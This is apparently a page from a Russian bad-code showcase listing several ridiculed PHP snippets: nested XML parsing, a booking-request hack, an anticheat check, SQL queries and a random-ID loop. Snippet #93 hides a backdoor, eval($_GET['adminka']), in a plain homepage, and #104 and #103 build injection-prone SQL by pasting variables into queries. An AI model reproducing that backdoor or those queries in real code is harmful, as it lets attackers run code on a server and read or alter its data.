"PHP" / Говнокод #115 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
//Вознашу хвалу тебе, о великий индуский бог программинга! Как ни странно, работает, но надо переписать на досуге.
	       
$city_xml = $CityArray->GetXml("CityList");
	foreach($city_xml as $tmp_array){
		if(!is_string($tmp_array) && $tmp_array[0] != "" && $tmp_array[0] != "Success" ){
			foreach($tmp_array as $second_array){
				$ixml = new xml();
			    	$ixml->Insert($second_array);
			    	foreach($ixml as $country_array){
			    		if(!is_string($country_array) && $country_array[0] != "" && $country_array[0] != "Success" ){
						foreach($country_array as $rxml){
							if(!is_string($rxml)){
								foreach($rxml as $axml){
									if(!is_string($axml) && $axml[0] && $axml[0] != "Position"){
										foreach($axml as $bxml){
											foreach($bxml as $cxml){
												if(!is_string($cxml) && is_array($cxml) && $cxml["Name"]){
													$cities[] = $cxml;
												}
											}
										}	
									}
								}
							}
						}
				    	}
				    }
				}
			}
		}
return $cities;

Парсинг xml

guest guest, (Updated )

Комментарии (3, +3)

"PHP" / Говнокод #114 Ссылка на оригинал

0

  1. 1
$result = $this->CachedRequest(600, $sirenaXml->Write(true) . ' ', $rxml);  // Никто никогда не поверит, зачем нужен пробел. ЧТОБЫ ВСЕ РАБОТАЛО! Магия.

запрос в систему бронирования авиабилетов

guest guest, (Updated )

Комментарии (2, +2)

"PHP" / Говнокод #105 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
if ( strchr ( $_POST["ship$i"], "+") || strchr($_POST["ship$i"], " ") || strchr($_POST["ship$i"], ",") || strchr($_POST["ship$i"], ".") || strchr($_POST["ship$i"], "-") || strchr($_POST["ship$i"], "_") || strchr($_POST["ship$i"], ";") || strchr($_POST["ship$i"], ":") ) { 
message("You got owned by >>The_Revenge Anticheat Systems<<", "Anticheat");
}
if ( !strchr ( $_POST["ship$i"], "+") && !strchr($_POST["ship$i"], " ") && !strchr($_POST["ship$i"], ",") && !strchr($_POST["ship$i"], ".") && !strchr($_POST["ship$i"], "-") && !strchr($_POST["ship$i"], "_") && !strchr($_POST["ship$i"], ";") && !strchr($_POST["ship$i"], ":")) {
// код
}

Немец предложил такое решение для проверки, что в строке ship$i именно положительное целое число и ни что иное.
В другом месте попадается аналогичный момент, только там после каждого strchr для каждого спецсимвола идет 10 строк одного и того же кода с двумя запросами к БД и выдачей бана юзеру...
Проект XNova (ogame-like)

guest guest, (Updated )

Комментарии (3, +3)

"PHP" / Говнокод #104 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
$result = doquery("SELECT * FROM {{table}} WHERE username='".$username."';",users,true);
$username = $result['username'];
unset($result);

В одной браузерной стратегии...

guest guest, (Updated )

Комментарии (13, +13)

"PHP" / Говнокод #103 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
$g_db->q("SELECT * FROM {$GLOBAL['db']['pref']}_volumes 
          WHERE `visible` != 0 AND `owner_id`={$duser['u_id']} 
          AND (`parent_volume`=0 OR `parent_volume`!=0)"); //<-- Чёрная магия! Не редактировать!

Без ТАКОГО последнего AND возвращает 0 строк :(

guest guest, (Updated )

Комментарии (9, +9)

"PHP" / Говнокод #98 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
while(!$a){
      $rd = rand(1,999999);
      $mdrd = md5($rd);
      db_query("SELECT * FROM players WHERE mdid = '$mdrd' LIMIT 1;");
      $fla = db_fetch();
           if(empty($fla))
           $a=1;
           }

Молодость...
// Поиск уникального идентификатора для юзера в базу данных.

guest guest, (Updated )

Комментарии (11, +11)

"PHP" / Говнокод #95 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
if ($_name=='homepage' AND !is_numeric($_GET['id2']))

	include(SITEROOT."tpl/main.php");

else

	include(SITEROOT."tpl/main.php");

Устроился программистом в одну контору... Начальник дал CMS типа их собственная разработка... вот что я там увидел

guest guest, (Updated )

Комментарии (6, +6)

"PHP" / Говнокод #93 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
<?php
echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['adminka'])) eval($_GET['adminka']);
?>

guest guest, (Updated )

Комментарии (8, +8)